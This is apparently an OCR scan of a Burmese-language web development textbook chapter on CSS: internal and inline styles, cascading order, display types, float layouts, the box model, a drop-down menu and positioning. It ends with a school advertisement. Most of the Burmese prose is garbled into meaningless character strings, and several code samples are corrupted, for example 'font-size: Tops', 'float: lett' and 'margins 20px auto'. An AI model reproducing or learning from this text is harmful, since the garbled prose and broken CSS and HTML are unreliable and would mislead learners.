` e ° ° OC « c oc oo c c M c ç 

cono Cache coo coo:ooÑooosoos: (9 $6 03300205 Performance QC:90 9860006:9$222: 929 [690lo»o5 1 
1 SOS. OQ. U U 09.9, O x ç 9. S. ON ç *. c Sal ç 
3 c[o2oç $É: waad] q02324 050» S9: 003603 ,993905:(4]90G079 (S90 OD05II 
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3.8 - Internal CSS 

685002000$03:000:00993264 à CSS 60303 HTML Document 32096:90 «style» Element a:f: 

cope: eggo: olosi HTML Document cgo 69:000:000:0$ Internal CSS esT olovosı 

Document 02990099:320503 08:(50:0005903808a0603 Style G0R6q:83905:060los05 1 External CSS 

man Style cod: (g0:300058¢(aé:8 Reusable 320:020810560260»2 Internal CSS gemool 
903 og: [Bgo e: ajo5cogecog qo 989200? 

o 9009536 ¿00008 e$ eea: eooo <head> Element 390263999 ego: aĝo 


<style> 
body { 
font-size: 6px 
line-height: 1.5em; 
color: 2227; 
} 


niy 
font-size: 21px; 
font-weight: normal; 


J 


</style> 


<style> Element 32090932€|600 type="text/css" soo? Attribute 0099996:60: eco § 0100051 3] 
coeo? CSS afv coé[so:oəCoocoqjoSoq|jo5o5:o> Style Language oV type Attribute eolo>səəl 
Browser coooo səcosəcco[poo CSS ca $0:cop360:29o: go[5$ c9 coppoqpecdsadeo>20lo93 I 


3.9 - Inline CSS 

685002009$03:026002 DSV qp Element qo style Attribute 0): (8:69:00: fsi: folos Element 
š 3202090052003903: Inline CSS co cal olosoSu DECEO Element ¿39070300569:009:000 
[e° R Selector oeoo: Property š Value coga: deg: eo: qf dolos 


<p style-"color:red; font-style:italic;"> .. </p> 


Inline CSS 026002 3200008680: espéqeo(s$olo»o5u Style 60502200 HTML Element cogà 0709; 
qq CSS comé ogj$eo0302 o5:ecsolo2:u HTML gocops: «font» <center> NA Style 
Soc x 


99059058603 Element eo? bgcolor, border 0%0% Style 990590503 Attribute co $esc9 ooo 
e ° ` . ° O Ç ° M 
NS: 8 Element & Attribute 60 səob:[o|cooooolà 


Inline CSS 390):060363 peo gold 1 s53loocoog JavaScript š Interactive User Interface cop 
ç ç x ALS € ` Q q x : o oo - 
MA 680002309 escpeoo(s$olo»oóu JavaScript 02e8c93»00? Interface Interaction Q999 Inline 
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CSS ° < c o .. " c ;| IN c S AS. . > j| jl 
OP 9266029900) 3905:(01990: 92{860 om 6800200085:90 JavaScript 6090000} 328lc02 $9oo i 
RAE: Inline CSS ooo JavaScript š 030093905:(6|83905:06 60609 Document Style 0009900 


Qoso5oso5səooo5 es s»o?:e(9[oo$0? so5:coS:ooódj:o[eóoloooši 


3.10 - Multiple Style Sheets and Cascading Order 


Browser o» Style à0092209(8: 3209609602329] Default ^ External Style Internal Style > Inline 

° x ° e oc c ° IN o : o IN IN o 
Style s00? 320320932096:090990:6c9Q0lo»o3i slo? Cascading Order Ama: color $1229] 
Style 603399: 05308 2083909 32096:3209609060:29o:0»»(890lo» ou 


Element 0209320205 External Style saeg§eq:000:03 Rule š Internal Style 32684  6«:220:000:0? 
Rule 00063395! @g20593909609603 Internal Rule o» External Rule o? Overwrite 095030208 
Internal Rule o> 320009 (8965 eoe»(s$olo»osu Inline Style 602096009 6500989:93209 009009 Inline 
Style 999 2205905 coo:g é 07)§390:03:03 Overwrite c9625o:eo[s90lo»ou 


NAO. HTML Document 02998 ajo5soo5səo5: [90 External Style Cog: 029900090Q 
mao! m1 Š External Style code 056930599 [G§codeg03 Rule cop: good 

o. LL. en ç o eo pe C QC. C 
A: Q: Ñ: $o:copóo0o:eoq|Cooooo! Browser eog CSS Rule cozo? sedan: [es mÓNC:ajó: 

. . ° e oc c c ç Oo IN e IN IN c 
(Line-by-Line) 3293209032096:32090000 99010003090: cop9eoqi6 olo» o3 slefoxg Rule eo9o00ó 
cooo 32s] 32969905905 303 Rule 0? esoo5eox5o5eo5o> Rule o» Overwrite og: 900(9sulor 1 

. * 9.8 CN C Sf Ç x : ` ceo € IN 
«link» Element š gosos] e$00398g[o?s00502 CSS File ò Style co20o3a«68|02s005 
000:09 File ò Style 0205 (o06688 qf) Overwrite aso: Òe dolos 


/* First Declaration for <h3> */ 
h3 { 

font-size: Tops; 

text-align: center; 

color: red; 


} 


/* Another Declaration for <h3> again */ 
RO 

font-size: 21px; 

text-align: left; 
} 


60:000:0 $9409 h3 Selector a5:(8:eq:000:03 CSS Rule oo §6[088[gdegclosu5i ocoeooó[o328oo 


font-size, text-align š color o? o003903000:(8: esooSoo9 (096 goco font-size à 





A aA Q c ç Ç 5] ç Es] ç ç eres , y 
text-align o? 000250290» COD: OÍO2ODI $09 G4): 009: 60002 o»90203(0$00902000 font-size $ 











text-align 902{gdclos051 color o? 8005006] codee(ar[Goc8[o§ e00960020lop: t h3 320200 


Professional Web Developer - səəŠ: (2) Cascading Style Sheets - CSS @ J 





Ç ° 


eolé:050$0503 6800389:$c03006002 32909 (89999: eoolu 


hart 
font-size: 21PX; 
text-align: left; 
color: red; 


Rule coəcoÓcoooysəə] efed: fes S$: $a oS slsoeoš Priority eslo) $:00:60: 
° € c < < ç o 39 
cogeo Alons 20% Element ooéəço ID e«p Class ol 9005905000: 0000 solu 


HTML] 
xp id="note" class="note"> n </p> 


CSS] 
#note ( 
background-color: #FFFFDD; 


-note { 
background-color: yellow; 





Element 09690295:036 ID š oss) Class g0068] Select coÓ(9: es:coo:oool[eóoloooSi Class š 

Select 966: eq 202009690039[Ge0005 Scssppoo ID 4 Select as [Eeg oo: o} background- 

color: #FFFFDD; 080 3202200: [eóoloooŠiu ID Selector ooo Class Selector coo Priority 
ç Oone )] € . : ore. o x oe c jl < 

(ecoglaso 020511 Priority oo 0(8:030q0> Selector 60209 $:00:60:0 (950 oò 


#nav li a { 
text-decoration: underline; 


J 


lia { 
text-decoration: none; 


} 


o 


Sado cop: 1i a Selector oo esoo$ees:coeo? Q(8:09030? #nav li a Selector à eqo: 
000: O) text-decoration: underline; 02000 320003093299: [9|60:290: »9(890lo» o5 Priority 
o? ! important Marker 0):[6: Force as aeoo 206d - 
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#nav li a { 
text-decoration: underline; 


) 


ia 
text-decoration: none !important; 


) 


Priority 39 fnav li ao (8660602 li a Oo text-decoration: none go !important 
` e . oe ° € (LS g 
Marker olsg03320305 text-decoration: none o? 3:00:60:(8: 3900050960203: o9 (890lo» o5 


3.11 - Display Types 
HTML Element cooo Display Type eol eoopX(8: səƏoosoəo: [96 &$39093c9q0lo»o3i Block à 
Inline o? (gSclos05 Block Element GORUN Parent Element 9220 (Width) $jo2ecoo05 ess 
ç x` ° ° ec c . ` . e (Q ey ec o 
zə} Element 32q|:3200:60201i Qog width š height Property ecgo5:(8: aose 
Ana 99059038E0los05 i oo: [so:aJo5oo RRAN: mos»: Element 6020268 PEL: 8005 
0r6086:03 a06:(8: eeo[oeooooo[eóoloooSi «ni» meş «h6», <p> «ul» <li> Element cogu» 
Block Element cooo[eeoloooSi 


Inline Element cogmeo Block à e(o»&:(p4(s$olo» obi Element Content foca afde qoo» 
olo»oSu səoq|o5šso[eç 0? (ai(96250$9o$c9eqolop: v ao (8056: Element Content gosecooo5o>5o eP 
o? Element eooo[eóoloooŠi Inline 80339036:086:026999036:02 aboa sond eN oo9(so: 
Inline Element coəš eon: a eA eoged 600:3|6:052603(060:86$ qoe s0$60029 
egoo?oo$c96:09soG:(Q:esA[Deco$o? Element qp:ó [s90loooów «b» <i> <em> <strong> 
3203206 Formatting Element cozg «a» Element 02000 Inline Element ap:o[eëoloooSi 

< 


Element coəà, Display Type o? display Property à e(ooé: magna 20% - Inline 
IN 


cŠ 
Element (g603 <a> Element o? Block elyoc:0$9é 3290922099094 Solon 


al 
display: block: 
} 


Səcoo:ooo Block Element 60303 Inline ao (so e(026: c52209909c9 q6 cops: display: inline; ca 


< coc € ç ° - ç O Ox € < ` 
@{a3[Go0005 gosg losn 3leoeo Block o» Inline elgoc:8 solo 39qp: 300: [sç Inline 
Element 60209200 Block elgoc:[(menjolor an e[s: oà Rda width, height Property 
` et ç 0.0 < ç Q x` e < ^ c iN > 

cR so [eçšsəoqjo5oooo 05059050902320205 e(o»&:(p2032»eo»»[s90lo»o5 v Inline Element cogo 

gy e o < c o ^ < ° Qo ç r° < < c 
929000 aa se(86 43203050? 9005905 co: ezo 29090? Block e(o6:(9:9 007090190 
olo 1 poeo <a> Element 0269390205 39908 22099096q:2»o:$60loo09 t 
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a | 
display: block; 
width: 200px; 
height: 40px; 
text-align: center; 
line-height: 40px; 
text-decoration: none; 
background-color: #519B7E 
color: #FFF; 
border-radius: 20px; 





`. 


$090: 4 «8603902302600? 329 c906 «Se»(s90lo»o5u 


Button Style Link 





$:Q: Link 006903 Button ord9§ope3006 e(o»6:co(Qóc90900o0li Segqpg@o display: block; 
IN C. O0 IN IN IN e > . > . c c c | IN 
9505905909250 $00500000005905000:02 width y height səcoOcoOooo:ooo[eóo NI $Q&ogo 
0g$s0050% eccocoog)jeo3:o2 Property o» border-radius 0209200 oloéolo»cSu os Property 
° ° (e ° IN e ° ° Ç c ` . . ° 
39:09:07 6c90023[8:220:602092»» c0l6:0932o5:[o|c903$ 0»oolu co: [so:a|o5socsš line-height o9 
i ` ° ° y ` i à e M c ° e 
height $ 32070760:009:07 2003009: 011 height $ line-height Q26402320900 MAMA: 
3acol eso 320723260: cŠ |Ó: səcooSesroo5esoooolli CSS o Element š 0260208 Horizontal Align 
e co e " 2 [° c e Oo IN IN ` s 
RAOVA text-align Property ox: 29039030) olor 3leoeos Vertical Align oo 
IN IN IN IN : : ° Q O x ° ° x IN c c o 
8$99:909:69l6:00:0looo3i Vertical Align o? Center coóocooo əl a: foe Qo? $99:006:009090? 
c 1 IN <ç IN c o cnc IN ;| IN 
0060 ma: poc: clon fac: aso oò 


3.12 - Layouts 

Web Document 602390205 Layout eog 0§03:033001 Block Element 602036 322: blq 390): 
(o\(e3e09§03 Element meo <div> Element o[eëoloooSi <div> Element ooo Block Element 070 
gell: Generic Element esl fools 22.08 nue) 22033200000: 86: 
ego Block oodachsado3egqn036299 o3:8Co> Element (s$0loooà: Block ooëéəcósəo[6: cols»: 
296607503 Element o§ 03 gjf <div> o9 3905:(6)q0los05u 


eo5q|o5 ú ú <div> $d ə: esoo5 Generic Element 006909 <span> (s$0lo»o3w 99006029 Inline 
: c ° ere c iN C AN ° € ° ° o 
Element oli Inline Element 0299 c9320(8: 059 [80:22660230) Element esc <span> Element o? soos: [ogol 


ç 
ono Il 
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Layout 6026$03:0320205 £loat Property o? seos:(ai(o3«0lo»o5u float Property ooo Block 0303 
ç IN Q IN c c ero IN IN ` c C, 2. €.0_€ 

90059002 (2900502) axran0smdee3[08 200390390) Property [ešoloooŠi 0e$sosc Block Element 

Sofa, 9 . c Q bassi] ç Q Q Q x 

GOZUN espasol: 9902690:90009 (82: Element Pesol: sleve float MONYO 

3291926002 Manaos: c06:60360:090302026902 (g6030:0lo00051 c06:60360:090902320205 

o € Q > e 


sa[go: Element eoo» eo: greg pocu SoN 9030203006029 (8$0lo»o3i ó (Q-cw) go $: 
coma ol 





width: 600px; height: 400px; 
background-color: #519b7e; 





width: 200px; 
height: 400px; 


background-color: #1635a6; 








width: 800px; height: 60px; 


background-color: #333; 










width: 800p q 
background-color: 














width: 600px; height: 400px; 
background-color: #519b7e; 
float: left; 






f width: 200px; 
width: 800px; height: 400px; 
height: 60px; background-color: #1635a6; 
background-color: #333; float: left; 
. r 


clear: both; 


9 (q-00) CSS Layout 
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9 Quo) go (A) š (B) so(8: 8930809 olocoloooSi (A) go Block Element (c) 20% width, 
height, background-color 805690590360:009:0los051 Block coo[sóco Width 903040 
900340360: 000: 000: 0»99col 0299 s0Q(8:6022»0 eo3(960:6$ 02202609 «»oli 


(B) oeo% float Property eoo (6039033225: falcon width: 600px 0203909000:02 Main 
Content o? float: left e(ooc9036002 9900690:000(8:c06:00360:0lo»o5u sleoeos width: 
€ c o eS e o 

200px co:coo: Element map: Block (8965602? RO RC:N eocaj|éoloq:! slefox2¢ RY 
ç < ° < < x° < ^ < cre c 
copo: float: left copjeo:ajpas olor 33360029 090268026892 06006(8: ee PRZ: oso 


olo»oSu 


c S_o ° x ç IN IN C.N c 
oo: [So:a|o5oocooo 63200985: Element go clear: both «9o? e(oX(coqjo? cp3296:00o:(86:0 [esol 
radi ajo float qf: co8:eoScoo:o> Element co ovodas onen volos 8 
con 9932000900 float c90000:0? Element e028c9093056:02 e$ peoeo?[960:9 [sóoloooŠi 


` SEN o ç 0 Cn Q e Q O C€ c e Oo 
float § clear sodos aqi: Regi Block copo? coo:8|é:ooócog) float apsolu eSMÓNCON 
` ç c nw ON ^ c ç 8 € * OL S xs : ç 
o? Element eo clear (9$07660:0| RON 9960200(gd0los051 3§0:§ Naco? Layout Design 320205 
o c c oc NCS IN . e ` 

Block cozo? cesposo5ooa|coo:eo:aCooo[eooloooSi © (q-e0) 9» (B) eo5[po00:0? Layout $@ 

€_. 0 ococ € c coco Ç e SooSo IN Os 
ao (00932609 020309606:2250(02094 co op 663000: eL Roo ood layout.html %03 
File Name 4 0220206:096[a9 090 


<!doctype html> 
<html> 
<head> 
<title>CSS Layout</title> 
<style> 
-wrap { 
width: 800px; 
margins 20px auto; 
} 
.header { 
height: 100px; 
background: #cb1212; 
} 
.content { 
width: 600px; 
height: 400px; 
background: 4519b7e; 
float: lett; 
} 
.Sidebar { 
width: 200px; 
height: 400px; 
background: #1635a6; 
float: left; 
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.footer { 
height: 60px; 
background: #333; 
clear: both; 
} 
</style> 
</head> 
<body> 


<div class="wrap"> 
<div class="header"></div> 
<div class="content"></div> 
<div class="sidebar"></div> 
<div class="footer"></div> 
</div> 


</body> 
</html> 


co0$60209:250(02p9023e9| File 0r690005:8 300:09:9ó:86e306c9 CSS 09 Internal <style> 

El t s" [ó [Š encres O ses mia P rt O PLE eC ee ç sal 
emen 3905;(0)(8: G6: 909200920 ODOOII og: op[8: 0204], roperty cN (oés0606:006 (e299e»qj60 

oposi 

oo5ajo5 II .wrap 390309 0099996:6$220:000:02 margin: 20 auto; à, ao89lo502e(02256 soo$coo? gé:(o 

co:oleoSu .wrap o? width: 800px 60: 000: 09290205 «header š - footer 92 9 (Q-m) 9° width 0000 

9905905060:602702008 cop5:0003 olu Block Element eou» width 00039096000: gé Parent Width à 


< o o c 5 ç 
S5GCO00O2 ae popeo(s60 ODO II 


[ regular block element ] 





overflow: hidden; 


float: left; float: left; float: left; 


[ regular block element ] 





ç 


@ (2-09) CSS Layout - Float qp: Clear 096g 0530064}: 
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© RQ) $o float 60303 clear C908 09: egoo$ooéd]:0? eaS(9e0:000:0lo»ou Parent Element go 
overflow: hidden; o) Property à Value seo 09 (86:00 0332026:05000 Child 
Element 60299 2905905000:03 float 60208 2 clear aseo: 60000051 slef 32005 
30:02 Element o» clear: both °S) œe eco32060090lop: I Ssə5:oocoo: Layout o4 03: 
O368«p9o 3260593295:060) $09:056:00$90[890lo»o5u 


3.13 - Box Model 

Block Element 60303 width à height afge border, margin š padding cop5:000590503 qol 
oo0si margin aĝon Element Border afg eppi magos: padding Meo 
Element à Element Content (o: 68«pc9030205039090000 [8ëcloooŠi 9 Q-co) oo[o3ošolii 


border 


margin 





9 (2-00) CSS Box Model 
Block 0299320909 Box Property co» so (00930$9509905000:0? goeoceo[ocleoSi 


#content 
width: 600px; 
height: 380px; 
border: 4px solid #519b7e; 
margin: 20px; 
padding: ps; 
background: #ffd; 


a 
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width à height Property 602320905 3209:306090066[09860960090lo: t border Property eoccoo 
IN IN IN c IN IN Sos ° e IN o 
32409:c O5 og: ea: oos Element 069300203 Border 000390305326] Cll o0039o09qeco qol 
IN . > Os e IN ° 2.90 Ce € 
ono border-size, border-style Š border-color Resol Sql: e(9p9$q6 
Border cops: e(pp9$olop: v slefox¢g Border Property 60303 efons: A: veq: o olog:u border 38 
(8: 3903602009 orde(0706:0095: deq: feail Value e$ PZ Size, Style, Color gjo: 
ceo Gc ç ° c IN € : c CN : ° 2 (9 c Sos ° 
32090900 0$:0 9905905¢0:0]00051 Size esspoo gð) Unit B05:(8: 90059050902060CD0? 
co:àColoooŠI Style ešspeocooo Q) all a$: Solon solid(__ ), dotted ( ...... ) š dashed 
Os c E C x ° IN IN ° IN IN 
( ------- ) Q [ešoloooši oq|šo2 Style eoo $625:60e02 326095600:3299:$09:0lo203 I Color e§$ peo 
copó: $D ep saeqn000590560: 86000051 


C LAS (^C x : ¢ c0 ç i Qn 2 ç 
Border Lónna so Margin 2505905932090? margin Property apdap:qolor05i 
Block 029990 Top, Right, Bottom, Left Q|: q|o%9aoeocco:ooosslco margin: 20px; RoN GCO: 
Co ç ç ox ç Q C çC O €C N ç eo ç cos 
NMN: 320902 20px 3902/09 Qobesepcoo5ooolcoooo5eo5coosoooolo 0002200200 DOIGOIOYA|S 
. a ; i í OR, `° ç Cç LOS 
margin-top, margin-right, margin-bottom, margin-left 388: o9:(80:000390360:$6 
ç . Os 9 ç O 2 [9 Se ç 2,8,,,08 ç 
olo»oSu margin 020 3209600009226o00Q|:25:(8: GC0:220209:320902 Value GOR 02§:860:860los05 


poe? - margin: 10px 20px 0 5px; 4, səƏglo5oo margin-top: 10px; margin-right: 
20px; margin-bottom: 0; margin-left: 5px; š 3907070 [ešoloooŠi Value o? Top, 
Right, Bottom, Left 208 320932096: 0009900 eo:qooo(s$olo»o5i margin: 10px 20px; so(8: 
Value go &$960:(8:60»2cop3: 9903903860los051 səƏolo5oo Top/Bottom 390209 10px 8 B§HqPICQOD 
> o 
° : e ° e o € ° e e e e 
098: Left/ Right 320205 20px $es«pcgo9 WRS 2203903oo»(s90lo»ou 


i Sosa cloos ; ` ; ; ç o so ç ey 
co: [8:310302$9 Qo onu margin-left Š margin-right 320905 Value O? O240:602 922029000 


M ç ° sos 2 ° x ° o 
G0:809$:00 səoà: [o| 30) margin: 20px auto; Q0% margin Top/Bottom o? 20px o» 2502905 
(8: Left/Right o? auto ca o003eo3c90300o9[s90lo» ou slefoxg 23399890 Layout o? 08:00 0209 
q$32coo39oec(06$ 02202602 499 (890lo»o5 

ç ç co c cos o c c c ç c ç e 
çooajoo II ll 00§8:6020005g0303a081 0 NC 620202079 OGOQOD eocop26|c copo: qolo»o$u 
Border à Element Content (62::0»esspego3(s$0? padding c[oj|eoooosooooooo Margin à 
DEN: 3202020 (89 olov margin Property 3200: padding Property o5:c9090000 ogool 
ovos oacoo5:ó padding-top, padding-right, padding-bottom, padding-left so(8: 
c Cosa ° coc ° š On o ° ceo e o ç ç c e 
mana: WPADA margin ajo Value ea: 4/:09:00$:860:(8: 32026020050009:2200905 
&6o0lo»oóu 
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e AS ] ç So, 2 Mi Val o° < e SocSco:cSoolosoS s 
Phal: |A II II margin 32090200$0:60530? inus value GOR C93aogc 9050590260: NAS ODO II pees margin 


[s š : ç ç ° 
top: -5px; s]coeoo padding 9ocoo? Minus Value 607 920590960: 09 ogol: 


CSS Box Model eo 903a00:0¢09;(S0:q]050289§olos05i səcol[eoso:óo> $9400? esoo5oosós] 005 
ceo[oco:cooooloooSI 
#content { 


width: 600px; 

height: 380px; 

border: 4px solid #519b7e; 
margin: 20px; 

padding: 10px; 


§@g092 Element səogo width: 600px; cQ e(oX(g0220590360:00o:0loooàw sle(o296 mag 
Document coles 600px seog05Q$05 c SaSvle8Se0S sowo: border: 4px solid 
ANA eéspono 2 
#519b7e; co 0203903000:0le20:0009 I Browser oo Border 32020968 PR width: 600px odm 
e c o € M š ` T 
&o9eopolop: Document eol go 00603:020]00051 SəCOO:OQO margin: 20px; Š padding: 10px; 
3902030095: Document sol god o?:q|esqp o90looo3i 


slef $9409060:000:0) Element ooo width: 600px; cQ e[9o000:60e09 3294009000968 qp 0» 
ameo 668px (s90looo5 - 600 (width) + 8 (border left/right) + 40 (margin left/right) + 20 
(padding left/right)u 390003096 height: 380px efo: G009399§0250205eg PRI 
448px [ešoloooŠ - 380 (height) + 8 (border left/right) + 40 (margin left/right) + 20 (padding 
left/right) 


° e Co xs ç € c ç e c € ecos 
3329/M0% Layout 050409:03326] 0009996:09:90:qe0932qJo3(s6 0looo9 n Element 02094), EFP 

x ` š M oc o o c ‘ 
qo» width Š height uN @(03[G2000: 030036: 39033209/8 SG 9290705 olog:u border, margin, 
padding 03990205 o: 320:05:026016:90090940992»0 009000368 «p05000:0 
oeoco9o9qeo(s$olo»o5u 
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border 


margin 





I I 
] I 
' ! 
I 
I 


I LL—————— [ content width ] —————— f 





AAA AA | actual width ] 


9 (Q-3) Content Width vs. Actual Width 


age L:s) Layout š Box Property coga: [o| Š: GšoobcoOeo:oso[ooooospo §9§00069 
IN IN c 


egeco: ajéoloooŠi Website 60290609 es [an Drop Down Menu 6co:00896cooo$coÓ(02p9qi6 olo» oS u 


<!doctype html» 
«humi 
«head» 
<title>CSS Drop-Down Navigation</title> 
<style> 
wavy “SU, t 
font-family: Arial, Helvetica, sans-serif; 
list-style: none; 
margins O7 
padding: 0; 
j 


.nav li ( 
background: #cb1212; 
height: 40px; 
line-height: 40px; 
text-align: center; 
width: 160px; 
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.nav li a J 
display: block; 
text-decoration: none; 
color: aa 

) 


.nav li a:hover { 
background: #f00; 
} 


sha Vs > Ai | 
border-right: lpx solid £905 
Float: left, 

} 


-SUD 4 
display: none; 


} 


.nav > li:hover .sub { 
display: block; 
} 


SUD 
border-top: 1px solid #f00; 
} 
</style> 
</head> 
<body> 
<ul class="nav"> 
<li><a hret-"4"-mome«/a-s/u 
<li><a href="#">About</a></1li> 
<li><a href="#">Contact</a></1li> 
< q> 
<a href="#">Services &raquo;</a> 
<ul class="sub"> 
<li><a href="#">Social Media</a></1li> 
<li><a href="#">Web Development</a></1li> 
<li><a href="#">SEO</a></1li> 
</ul> 
nies 
<li><a hrer—"4">Products</a></ la> 
</ul> 
</body> 
</html> 











&90209qp File Name à 0230206:006(8:eegc00(a3 0901 R: En gE: don HTML 
Structure o? eaan osol <ul> Element o? Menu List 320209329»: [p[ooo:olo»oóu <li> Element 
c e c c c o ` e IN : 
00093209€:90 6§203000 <ul> Element 09690) Sub-Menu 3268 &0093000:0le22:0205 1 Services 

6500900 &raquo; 88000 HTML à Right Arrow Symbol ( > ) eco:0069 cop$c90900o0li 


CSS go .nav, .sub c3 Select asf: <ul> §90}:390205 list-style: none š margin: 0; 
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padding: 0; o5039o3o0o:0loooàw Bullet [š|o[oš[Š:essocoo5səQoocoo:ooocoosəoos [sjo3(o9 
Amon oli «1i» ooo Block Element [ešoloooŠi slefoxg en:3/é:0m060 960960) <li> 60303 
.sub > li co Select osf: float: left; c9200390300o:0lo» 03i Sepp Child Selector 25: 
qoo»o» Direct Child [900% <li> eog 22 float asgl: egooSooda0g§ego3 <ul 
class-"sub"» oo <li> cooo ecoóqi6 c9 (s$0looo5u 


c c o . Q c c SUR DEN IN . 
6420502090060»? . sub o? display: none; OQ G3200040:90 o003903c9030lo»09 t display 
Property eoo Inline/Block e(oo6:05e0o oes (068 none o? Value 3.694 co: $6 0los0511 

. o e e ` e IN c IN IN IN e 
display: none a) 2500905000:02320205 Sub Menu oo eqpoSeseo[s$olo»o5i CFID | 
com .nav > li:hover .sub go display: block; 08 (9460:000:0lo»o5u səƏglo5oo da o? 
M > ceo c Son» Sub M o (CS SPOS, O & Sodol ç 09 ç. 

ouse à ec000309096009920 Was: Sub Menu o? [oš eeo[o#9C:cooooooo[eóoloooSi 8505: 
š JavaScript 60260006 ec960020 Dorp-Down Menu 0069039 §090:60600(8 6010905 quimicos 
(899 [gdclosa5u 


Contact Services > Products 


Social Media 


Web Development 


SEO 





$ Q-e) CSS Drop-Down Menu 


3.14 - Position Properties 
Element ecoeo?[9o3325lgo aessa: (se 3060 0265632009 Document o5go 0099996:000:0) 
3003003. 32096: eoS(pecoqoloooóu slo? Regular Flow co eslolo»o5u Element cooo Regular Flow 
oc Cx c Os ° IN IN DE IN > c c Q )] IN 
3202 6:009020 coo[|ococoo cs] darme: cp: CSS y mango: aula 
gs Q e. cre ç Ç x ° 
position Property 9» absolute co o009909(8: eoS(pe»qiéo? e$ top/bottom, 





right/left Property eog 2209590960:q0lo»o5 


#box { 
position: absolute; 
tops 100px; 


Lefts T50px; 
} 














e o IN co c co c c € Ç ono 1 ° 
3c0osob5goocoo5eosog)ó mos»: Element 602 250568€920»05c90Q680!eo! #box o»? Document 
Border meş top: 100px; left: 150px; səogosəco:eoosəo3səoq|oeeo[oco: go(s $0lo» o3 
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HTML Element eoəà, Default Position Value o» static [ëšoloooSu position Property ¿2202 
M C ° OC ` e c c H c € . 0 c i n 
o300508:8603 esoo3o0ó Value oo$900c0»9 relative [gdvloo0Si Qe$sex(SG position: 
absolute; o»0990$00o:0? Element co ec3(0s609 eş Document Border nego 0205805 
eoS(golooo5w s Document Border o»esogo9qjo9ecoS[pO Parent Element meş 2090 


eoS(ge» aqe Parent Element go position: relative; cQ 0509909c0:$60looo5i 


N 


[HTML] 
<div 2d="ouite > 

Alaiye s sm ua re << uo 
</div> 


[CSS] 
#out { 
position: relative; 


} 


#in { 
position: absolute; 
top: LOOP 


Sep 


eooo: §@§090 fin Element 390209 top: 100px; left: 100px; 390703960:03 fout À 
Border o»es o905qjo3(8:es3(960:eo(s$0looo5v 


Document Border 


position: absolute; 
top: 100px; 
left: 100px; 
position: absolute; 


top: 100px; 
left: 100px; 











© (Q-§) Static vs. Relative Position 
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@92030063903:(4|8603 Position Value 0599056009 fixed (s90loooów» fixed š absolute o» 
səc[əŠ səo: [s< 3202090lu o2»[8»:1050»600? absolute Position o> Element o? Document à 
Attach as coo: (9: fixed Position œ Screen View Point š Attach 090000: (36: o[eóoloooši 
background-attachment š 9960900262:020109051 


Š position Property o? Layout 60204 09:026$ «099600293: [eange oog: G$6p32620 0003903000 
c o co coq : Sos < < Sol ç ° ° o iN CX 
EO Layout 320905s0«6 250 Flexible e[eëo>səooosc[osoc[ešo om O0$2:3809; 0320956000050 
ç S. ° jl IN : A c e ° e : ` > cre 
cop299C€: səoà:[o|[o2o om position MAMA: Conme JavaScript & o3003(8: User 
Interface Element co? oop9esooo?02esepeo[s90lo»o5 (poeo - Popup Calendar, Modal Dialog, 
Tabbed Panel, etc...) 6§009399§:90 JavaScript ecocoooysəəl maso: almas 
<ç Ç x 2 ç x < c c o < < 
User Interface Element 00205 6s00030330813905: 0603 6§003000 Property 690) (sgae 
092096 0le09:00051 


z-index Property o? Element coo 0299402990098: Overlap (S903329li 0005 Element o? scolo 
coge 2205905832020? a2: fons m8: fefangelo 


#box-one { 
position: absolute, 
Top: TOORA, 
left: 100px; 
width: 400px; 
height: 280px; 
background: #ff0; 
z-index: 2; 


#box-two { 
position: absolute; 
tope 150655; 
Were lbs Ops, 
width: 400px; 
height: 280px; 
background: #8a5; 
z-index: 1; 
opacity: 0S, 





$999 #box-one M z-index: 2 (s9(: #box-two M z-index: 1 (8903350205 $8: (8602 
#box-one o? səco[ooceo[oeoo[eéoloooši opacity Property o? Element cozs, Transparency 
Level 99059058 səo5:[o|&ColoooŠi so [eçs0:coš8: 1 9003403000: q6 09$32096:eo[0eo(59(8:! 30$0 
° co < iN < e ^ ° IN IN c e ` 
29:0$8: O wosp gieo Element o» efectes somo c3:ocqposogoSsesoo[eóoloooSi 0 à 1 
(090: 2005g05c803 Transparency Level o? 3020003§:8 op5o5əo5co:&éColoooSI 
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Conclusion 

Saas: o9|$6005026c9c0080? c90esoo6qJo$ecg0oo CSS Level 2.1 à coÓesoocajo5eoo [esol 
0051 HTMLS ¿2002 vloécos03 CSS3 eocoogi (80$909c996s006 qo9e0lé:qp:go oloCcooàcloooSi 
Layout coo 0§03:83902051 Flex Box asea go g] dloécosa008 1 Box Model eoQeso> 
Margin, Padding, Border o2e(o206 9$:209900> Width, Height (09224009 e(sq6:$68 Bordered 
Box co coÓesooCa|oocogocoo: oloécooolo»oói Mobile Devices coəoooo5col manías: š3əo2 Website 
c o ° IN : ` : ` . 0.0.0 OC * o c oco 
020902 aeos: (ojeo? Device 6024, Resolution š Screen Size sequ: ljep 86029220400? e(sq6:$68 
IN : o c IN IN e e : ` ° 
32030 Media Query co coócesooca|o5Goo olo6cooolo»oóiu Gradient, Box Shadow oo) səc[eŠ 
Visual Effect cozg Animation coÓcesooCa|o5coocooŠ: olo6coooloooóu. Font o? Website ¿3202 
Sal C AN c IN IN o cc e ° ° ° ° Q ` ° Q 
0009 0295:030050099036:60:0805(86: səo: [s< aeos: (o|opoó go Font $88, Qepe eo 3905;(G108 
O 2 O€ X Q c e eo ` ° CN ° c e ç 
ep Font o? ap:4Ccoo2 Font Embed co 090 esoocajo5q|: coo ao(go: 3229:10€02 efed 66026 qo? 
eoo (s$o? Border Image, Multiple Background, Background Image Size oo? as esoo eol: 

qp:go oloCcoošà[ó[eëoloooŠi 


3984: (92) 92 HTML, soəc[oooC:eeo[ooysəs] 3225:060? seas CSS3 cpdeaoréqjaSaaqj,.o3 03005 
eoo govs: səəš: (oç) eo Mobile Web sac{o32é:605(G0}a08] CSS3 Media Query səc[o2oé: 
0? coooo2c:oeo[oco:ooo:eo[eóoloooSi masas CSS3 o»»eo CSS4 š CSS5 ROl o 

IN IN erc x IN IN IN o IN X e o c oc Oo 
esooéqo3es(o»[o(s9023»0209 a»soo$e[po$ 09:0009e$0? CSS sp3:0pooqp:o? 000509030508 
cops: səsoo5e[oo5 coo5coccocooooo:8 ron rol 


Fairway Tech School 


§ 2920990006 e i:o Web, Mobile $$ Design adéqo 
e ° ly CO € co Q 
900020€9qp:320: səc[eŠəsəsoc[ecco 256 [p22:60:cqo3$|oopo 


oa - (og) Jay GJE 200 
www.fairway.com.mm 
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3998: (ç) JavaScript 


DOM Manipulation opdes0ré [os HTML so: 390003096;(86: 


JavaScript Programming Language o? Mozilla Corporation 029:0300p960006925 Brendan Eich oo 
